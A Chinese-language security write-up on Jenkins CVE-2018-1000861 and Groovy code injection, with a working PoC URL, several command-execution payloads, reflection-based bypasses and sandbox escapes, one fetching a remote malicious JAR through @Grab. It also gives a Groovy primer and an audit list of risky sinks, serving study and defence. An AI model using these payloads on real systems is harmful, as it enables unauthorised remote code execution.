从Jenkins RCE看Groovy代码注入
字数 1551 2025-08-18 17:33:13
Groovy代码注入与Jenkins RCE漏洞分析
0x00 前言
本文从Jenkins RCE漏洞(CVE-2018-1000861)入手,深入分析Groovy代码注入的原理与利用方式,并提供详细的教学内容。
0x01 Jenkins RCE漏洞分析(CVE-2018-1000861)
漏洞简介
Jenkins是一个基于Java开发的持续集成工具,CVE-2018-1000861是一个远程代码执行漏洞,利用Jenkins动态路由机制的缺陷绕过ACL限制,结合Groovy代码注入实现无验证RCE。
漏洞复现
使用PoC:
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20%7B%0A%20%20public%20x()%7B%0A%20%20%20%20%22touch%20/tmp/mi1k7ea%22.execute()%0A%20%20%7D%0A%7D
其他PoC变种:
@groovy.transform.ASTTest(value={ "touch /tmp/mi1k7ea".execute() })
class Person{}
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("touch /tmp/mi1k7ea")})
class Person{}
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;
漏洞原理
-
Jenkins动态路由机制:
- 基于Stapler框架,以
/分隔URL,从jenkins.model.Jenkins开始遍历 - 调用public成员变量或getter方法
- 基于Stapler框架,以
-
白名单路由:
- 白名单路径包括
/login,/logout,/securityRealm等 - 通过
/securityRealm/user/[username]/descriptorByName/[descriptor_name]/绕过ACL
- 白名单路径包括
-
RCE Gadget:
- 利用
GroovyClassLoader.parseClass()进行AST解析 - 通过编译期Meta Programming绕过Groovy沙箱
- 利用
0x02 Groovy入门
基本语法
Groovy是JVM上的动态语言,与Java语法相似但更简洁。
环境搭建
- 下载Groovy: http://groovy-lang.org/download.html
- 配置IDEA Groovy项目
5种运行方式
-
groovyConsole图形交互控制台
- 终端输入
groovyConsole
- 终端输入
-
groovysh shell命令交互
- 终端输入
groovysh
- 终端输入
-
命令行执行Groovy脚本
groovy script.groovy -
通过IDE运行Groovy脚本
- 直接运行Groovy类
-
创建Unix脚本
#!/usr/bin/env groovy println("Hi, "+args[0]+" welcome to Groovy")赋予执行权限后直接运行
0x03 Groovy代码注入
漏洞原理
当外部可控输入Groovy代码或可上传恶意Groovy脚本时,可能导致RCE。
命令执行PoC变种
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显型命令执行
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";
注入点分析
-
GroovyShell
GroovyShell groovyShell = new GroovyShell(); groovyShell.evaluate("\"calc\".execute()"); -
GroovyScriptEngine
GroovyScriptEngine groovyScriptEngine = new GroovyScriptEngine(""); groovyScriptEngine.run("script.groovy", new Binding()); -
GroovyClassLoader
GroovyClassLoader groovyClassLoader = new GroovyClassLoader(); Class loadClass = groovyClassLoader.parseClass(new File("script.groovy")); GroovyObject groovyObject = (GroovyObject) loadClass.newInstance(); groovyObject.invokeMethod("main",""); -
ScriptEngine
ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy"); groovyEngine.eval("\"calc\".execute()");
0x04 Bypass技巧
反射机制和字符串拼接
import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ca" + "lc")
Groovy沙箱绕过
-
@AST注解执行断言
this.class.classLoader.parseClass(''' @groovy.transform.ASTTest(value={ assert Runtime.getRuntime().exec("calc") }) def x '''); -
@Grab注解加载远程恶意类
- 编写恶意Exp类(构造函数中包含RCE代码)
- 打包为JAR并托管在Web服务器
- 使用PoC:
this.class.classLoader.parseClass(''' @GrabConfig(disableChecksums=true) @GrabResolver(name='Exp', root='http://127.0.0.1:8000/') @Grab(group='test', module='poc', version='0') import Exp; ''')
0x05 排查方法
检查以下关键类和函数:
| 关键类 | 关键函数 |
|---|---|
| groovy.lang.GroovyShell | evaluate |
| groovy.util.GroovyScriptEngine | run |
| groovy.lang.GroovyClassLoader | parseClass |
| javax.script.ScriptEngine | eval |
0x06 参考
- Hacking Jenkins Part 1 - Play with Dynamic Routing
- Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
- Jenkins RCE分析(CVE-2018-1000861分析)
- Jenkins groovy scripts for read teamers and penetration testers